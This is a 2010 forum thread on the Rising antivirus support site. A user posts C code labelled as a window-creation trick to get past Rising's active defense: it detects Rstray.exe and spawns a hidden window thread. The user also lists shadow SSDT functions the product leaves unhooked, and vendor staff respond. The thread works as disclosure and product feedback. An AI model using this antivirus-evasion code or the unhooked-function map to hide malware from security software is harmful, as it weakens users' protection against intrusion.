shulun743 - 2010-12-13 9:07:00
#include <Tlhelp32.h>
/*----------------------------------窗体过瑞星------------------------------------*/
BOOL ProcessExit(LPCTSTR szProcName)
{
PROCESSENTRY32 pe;
DWORD dwRet;
BOOL bFound = FALSE;
HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSP)
{
pe.dwSize = sizeof( pe );
for (dwRet = Process32First(hSP, &pe);
dwRet;
dwRet = Process32Next(hSP, &pe))
{
if (lstrcmpi( szProcName, pe.szExeFile) == 0)
{
bFound = TRUE;
break;
}
}
CloseHandle(hSP);
}
return bFound;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hWnd, message, wParam, lParam);
}
DWORD WINAPI Fun_CreateWindow( LPVOID pData )
{
HWND hWnd = NULL;
HINSTANCE SelfHin = GetModuleHandle(NULL);
MSG msg;
WNDCLASSEX wcex;
PCHAR szWindowClass = "Oath";
memset( &wcex, 0, sizeof(WNDCLASSEX) );
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.hInstance = SelfHin;
wcex.hIcon = LoadIcon( NULL, IDI_WINLOGO );
wcex.hCursor = LoadCursor( NULL, IDC_ARROW );
wcex.hbrBackground = (HBRUSH)COLOR_WINDOW;
wcex.lpszClassName = szWindowClass;
RegisterClassEx(&wcex);
hWnd = CreateWindow( szWindowClass, "", WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL, NULL, SelfHin, NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_SHOW );
UpdateWindow(hWnd);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return 0;
}
/*----------------------------------窗体过瑞星------------------------------------*/
if (ProcessExit("Rstray.exe"))
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fun_CreateWindow, NULL, 0, NULL);
Sleep(50);
}
http://hi.baidu.com/ksattack/blog/item/afe66dede28c4b242cf53432.html
用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.195.0 Safari/531.0 SE 2.X
瑞星工程师16 - 2010-12-13 9:22:00
请您说明此代码功能及改进意见
shulun743 - 2010-12-13 11:08:00
发现瑞星在 shadown hook 上 挂钩太少!!!
此代码 利用了这个 特点 过瑞星的 主防!!!
瑞星的 在 shadown 上 窗体 太弱
shulun743 - 2010-12-13 12:01:00
很多 shadown hook 函数 瑞星没挂!!!
瑞星全功能 加上 账号保险柜的 挂钩 总共 有以下 函数 没有 挂钩::::
NtUserGetForegroundWindow 得到当前顶层窗口
NtUserBuildHwndList 枚举所有顶层窗口
NtUserQueryWindow 获取句柄对应的进程PID
NtUserSetParent 改变某个子窗口的父窗
NtUserSetWindowLong 改变窗口属性
NtUserShowWindow 改变窗口显示状态
NtUserDestroyWindow 销毁窗口
NtUserCallHwndParamLock 禁用、启用窗口
忽略 保险柜的 钩子 瑞星总共 挂了 3个 shadown
请完善 shadown 的 挂钩!!!
用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0
shulun743 - 2010-12-13 12:34:00
请挂钩以下函数:::
建议ravmond 进程 挂接 进程钩子 ------kernel32!LoadLibraryExW
建议瑞星驱动 inline hook 以下 函数 增强自保!!
nt!ObReferenceObjectByHandle
nt!PsLookupProcessByProcessId 进程相关
nt!PsLookupThreadByThreadId 线程相关
RtlPrefetchMemoryNonTemporal
NtDuplicateObject
KiFastCallEntry
NtTerminateProcess--------inline ssdt 中 NtTerminateProcess函数,这样 驱动调用此函数时 ,也就避免了 不经过ssdt的弊端!!!
NtTerminateThread---------同上
挂接 ssdt中的ntmapviewofsection ----------目标文件的内容映射到目标进程的用户空间
挂接shadown hook 中以下函数::::
shadown:::NtUserBuildHwndList NtUserDestroyWindow NtUserFindWindowEx NtUserGetForegroundWindow
NtUserMessageCall NtUserPostMessage NtUserPostThreadMessage NtUserQueryWindow
NtUserSetParent NtUserSetWindowLong NtUserSetWindowsHookEx NtUserShowWindow
NtUserWindowFromPoint
瑞星全功能驱动 只挂接了 3个 请挂接 其它 的 函数 ----增强自保!!!
具体作用:::
用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0
瑞星工程师16 - 2010-12-13 12:56:00
您的建议已收集反馈,感谢您对瑞星的支持!
newcenturymoon - 2010-12-13 13:14:00
楼主发的代码 和楼主提出的“shadow SSDT hook挂钩太少的观点” 完全没有关系
另外 那个窗体过瑞星的方法 在2011已经基本失效
shulun743 - 2010-12-13 13:43:00
一楼的 代码和 下面 的 “shadow SSDT hook挂钩 是 没 合并的主题
建议瑞星增强自保
瑞星工程师16 - 2011-3-8 9:30:00
此问题请您将瑞星升级至最新版本判断。
如意8880 - 2011-3-10 12:44:00
还是增强自保为好
© 2000 - 2024 Rising Corp. Ltd.